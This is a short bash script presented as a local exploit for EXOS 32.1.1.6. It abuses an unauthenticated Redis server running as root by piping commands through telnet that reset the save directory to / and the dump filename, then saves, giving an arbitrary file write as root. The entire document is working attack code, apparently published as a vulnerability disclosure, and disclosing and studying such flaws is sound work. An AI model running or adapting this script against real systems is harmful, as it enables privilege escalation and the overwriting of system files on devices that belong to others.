#!/bin/bash
# This is a local exploit which allows an arbitrary file write as the root user
# by abusing the unauthenticated Redis serer running locally  as root on EXOS
# Tested on EXOS version 32.1.1.6.

{
    echo "config set dir /"
    echo "config set dbfilename \"arbitrary_file\""
    echo "set test \"some string\""
    echo "save"
    echo "quit"
} | telnet localhost 6379